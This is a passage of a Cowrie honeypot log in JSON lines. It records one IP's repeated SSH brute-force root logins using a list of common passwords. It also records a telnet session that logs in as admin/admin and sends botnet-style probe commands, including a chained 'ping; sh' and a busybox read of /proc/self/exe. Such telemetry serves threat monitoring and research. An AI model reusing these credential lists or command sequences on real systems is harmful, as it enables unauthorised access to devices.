openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:29.046327Z","src_ip":"60.165.124.241","session":"53ab9cf24608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2025","message":"login attempt [root/admin@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:29.789286Z","src_ip":"60.165.124.241","session":"53ab9cf24608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:31.048777Z","src_ip":"60.165.124.241","session":"53ab9cf24608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47888,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8253626d7bb","protocol":"ssh","message":"New connection: 60.165.124.241:47888 (10.17.0.5:22) [session: c8253626d7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:31.296504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:31.301117Z","src_ip":"60.165.124.241","session":"c8253626d7bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:31.540448Z","src_ip":"60.165.124.241","session":"c8253626d7bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz@123456","message":"login attempt [root/Qaz@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:32.283644Z","src_ip":"60.165.124.241","session":"c8253626d7bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:33.538777Z","src_ip":"60.165.124.241","session":"c8253626d7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51132,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e6e71d0b412","protocol":"ssh","message":"New connection: 60.165.124.241:51132 (10.17.0.5:22) [session: 4e6e71d0b412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:33.787269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:33.792426Z","src_ip":"60.165.124.241","session":"4e6e71d0b412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:34.032281Z","src_ip":"60.165.124.241","session":"4e6e71d0b412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab111111","message":"login attempt [root/Ab111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:34.753693Z","src_ip":"60.165.124.241","session":"4e6e71d0b412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:35.999517Z","src_ip":"60.165.124.241","session":"4e6e71d0b412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53884,"dst_ip":"10.17.0.5","dst_port":22,"session":"e417c76b4973","protocol":"ssh","message":"New connection: 60.165.124.241:53884 (10.17.0.5:22) [session: e417c76b4973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:36.273761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:36.278594Z","src_ip":"60.165.124.241","session":"e417c76b4973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:36.550870Z","src_ip":"60.165.124.241","session":"e417c76b4973","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trustno1","message":"login attempt [root/trustno1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:37.365742Z","src_ip":"60.165.124.241","session":"e417c76b4973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:38.639505Z","src_ip":"60.165.124.241","session":"e417c76b4973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57042,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa3f6148056","protocol":"ssh","message":"New connection: 60.165.124.241:57042 (10.17.0.5:22) [session: 7aa3f6148056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:40.891674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:40.903378Z","src_ip":"60.165.124.241","session":"7aa3f6148056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:41.148386Z","src_ip":"60.165.124.241","session":"7aa3f6148056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Bb","message":"login attempt [root/123456Bb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:42.162340Z","src_ip":"60.165.124.241","session":"7aa3f6148056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:43.421411Z","src_ip":"60.165.124.241","session":"7aa3f6148056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34236,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a032b03124c","protocol":"ssh","message":"New connection: 60.165.124.241:34236 (10.17.0.5:22) [session: 7a032b03124c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:43.670762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:43.675888Z","src_ip":"60.165.124.241","session":"7a032b03124c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:43.929059Z","src_ip":"60.165.124.241","session":"7a032b03124c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234!qwer","message":"login attempt [root/1234!qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:47.451144Z","src_ip":"60.165.124.241","session":"7a032b03124c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:49.306835Z","src_ip":"60.165.124.241","session":"7a032b03124c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40830,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c4c52118fb","protocol":"ssh","message":"New connection: 60.165.124.241:40830 (10.17.0.5:22) [session: c6c4c52118fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:51.581206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:51.585287Z","src_ip":"60.165.124.241","session":"c6c4c52118fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:51.841037Z","src_ip":"60.165.124.241","session":"c6c4c52118fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.130.237.235","src_port":53850,"dst_ip":"10.17.0.5","dst_port":23,"session":"1996db9edb3c","protocol":"telnet","message":"New connection: 85.130.237.235:53850 (10.17.0.5:23) [session: 1996db9edb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:51.898772Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.509576Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.558522Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.705787Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.710369Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.714332Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.718282Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.723075Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.727068Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"ping; sh","message":"CMD: ping; sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.730950Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.736434Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox cat /proc/self/exe || cat /proc/self/exe","message":"CMD: /bin/busybox cat /proc/self/exe || cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.848255Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.command.success","input":"cat /proc/self/exe","message":"Command found: cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:52.852457Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"JR2kuJNhEVmlU","message":"login attempt [root/JR2kuJNhEVmlU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:53.343946Z","src_ip":"60.165.124.241","session":"c6c4c52118fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:54.603701Z","src_ip":"60.165.124.241","session":"c6c4c52118fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46836,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b2d27125a7f","protocol":"ssh","message":"New connection: 60.165.124.241:46836 (10.17.0.5:22) [session: 1b2d27125a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:54.860976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:54.866971Z","src_ip":"60.165.124.241","session":"1b2d27125a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:55.118644Z","src_ip":"60.165.124.241","session":"1b2d27125a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"None","message":"login attempt [root/None] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:57.336554Z","src_ip":"60.165.124.241","session":"1b2d27125a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:59.239599Z","src_ip":"60.165.124.241","session":"1b2d27125a7f","protocol":"ssh"}
